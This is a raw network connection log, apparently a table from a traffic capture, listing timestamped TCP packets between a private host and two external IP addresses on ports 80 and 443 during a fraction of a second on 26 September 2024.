Sep 26, 2024 15:11:18.890274048 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.890284061 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.890296936 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.890392065 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.890403032 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.890441895 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.890451908 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.890551090 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.890561104 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.890572071 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.890583038 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.890594006 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.890605927 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.890640974 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.890641928 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.890641928 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.890641928 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.890641928 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.890641928 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.890641928 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.890702009 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.890714884 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.890726089 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.890762091 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.890820980 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.890831947 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.890842915 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.890852928 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.890863895 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.890876055 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.890966892 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.890978098 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.890995026 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.891005039 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.891016960 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.891028881 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.891048908 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.891048908 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.891048908 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.891062021 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.891100883 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.891134977 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.891151905 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.891163111 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.891175032 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.891205072 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.891238928 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.891275883 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.891364098 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.891375065 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.891392946 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.891403913 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.891406059 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.891415119 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.891427040 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.891434908 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.891442060 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.891499043 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.891582966 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.891596079 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.891606092 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.891617060 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.891627073 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.891638041 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.891726017 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.891736984 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.891747952 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.891758919 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.891777039 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.891788006 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.891798019 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.891810894 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.891850948 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.891850948 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.891850948 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.891850948 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.891850948 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.891850948 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.892050982 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892062902 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892071962 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892082930 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892093897 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892106056 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892116070 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892122030 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892127037 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892148018 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.892148972 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.892206907 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.892304897 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892318010 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892328024 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892338991 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892349958 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892360926 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892366886 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.892366886 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.892448902 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892460108 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892479897 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.892493963 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.892519951 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892533064 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892544031 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892555952 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892565966 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892575979 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892585039 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892595053 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892757893 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892770052 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892780066 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892790079 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892800093 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892812014 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892822981 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892832994 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.892832994 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.892832994 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.892832994 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.892832994 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.892858982 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892868042 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.892868042 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.892870903 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892883062 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892893076 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892909050 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892920017 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892930984 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892942905 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.892956018 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.892956018 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.892971039 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.892971039 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.893289089 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.893301010 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.893317938 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.893328905 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.893338919 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.893348932 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.893358946 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.893368959 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.893378973 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.893461943 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.893461943 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.893461943 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.893495083 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.893506050 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.893516064 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.893526077 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.893536091 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.893547058 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.893580914 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.893595934 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.914959908 CEST	443	49733	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:18.915178061 CEST	443	49733	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:18.915277958 CEST	49733	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:18.915580988 CEST	49733	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:18.939007998 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.939068079 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.939102888 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.939136028 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.939169884 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.939172983 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.939204931 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.939235926 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.939240932 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.939279079 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.939291000 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.939342022 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.977665901 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.977735043 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.977767944 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.977830887 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.977844954 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.977865934 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.977880001 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.977916956 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.977967978 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.978002071 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.978034973 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.978086948 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.978118896 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.978151083 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.978173971 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.978173971 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.978187084 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.978197098 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.978238106 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.978271008 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.978298903 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.978319883 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.978332043 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.978338003 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.978367090 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.978400946 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.978436947 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.978456974 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.978470087 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.978518963 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.978547096 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.978598118 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.978629112 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.978677988 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.978709936 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.978741884 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.978775024 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.978806973 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.978838921 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.978863955 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.978863955 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.978863955 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.978863955 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.978867054 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.978915930 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.978949070 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.978966951 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.978981972 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.979016066 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.979057074 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.979105949 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.979109049 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.979140043 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.979181051 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.979209900 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.979243040 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.979249001 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.979249001 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.979279041 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.979310989 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.979343891 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.979408026 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.979408026 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.979414940 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.979448080 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.979479074 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.979511023 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.979543924 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.979593992 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.979626894 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.979676962 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.979708910 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.979713917 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.979715109 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.979715109 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.979743004 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.979774952 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.979806900 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.979839087 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.979857922 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.979857922 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.979872942 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.979921103 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.979954004 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.980004072 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.980036020 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.980067968 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.980101109 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.980132103 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.980174065 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.980174065 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.980174065 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.980185032 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.980186939 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.980218887 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.980252028 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.980283022 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.980289936 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.980318069 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.980328083 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.980350971 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.980384111 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.980401039 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.980416059 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.980449915 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.980482101 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.980489016 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.980515957 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.980551004 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.980585098 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.980600119 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.980600119 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.980635881 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.980669022 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.980701923 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.980705023 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.980834007 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.980863094 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.980894089 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.980926037 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.980942965 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.980976105 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.980994940 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.981010914 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.981039047 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.981053114 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.981060028 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.981092930 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.981125116 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.981170893 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.981199980 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.981231928 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.981255054 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.981264114 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.981297016 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.981328964 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.981350899 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.981363058 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.981396914 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.981420994 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.981429100 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.981462955 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.981489897 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.981522083 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.981554031 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.981575966 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.981575966 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.981585026 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.981617928 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.981642008 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.981648922 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.981664896 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.981683016 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.981714964 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.981748104 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.981759071 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.981780052 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.981796980 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.981815100 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.981847048 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.981868029 CEST	49732	80	192.168.2.12	172.86.66.70
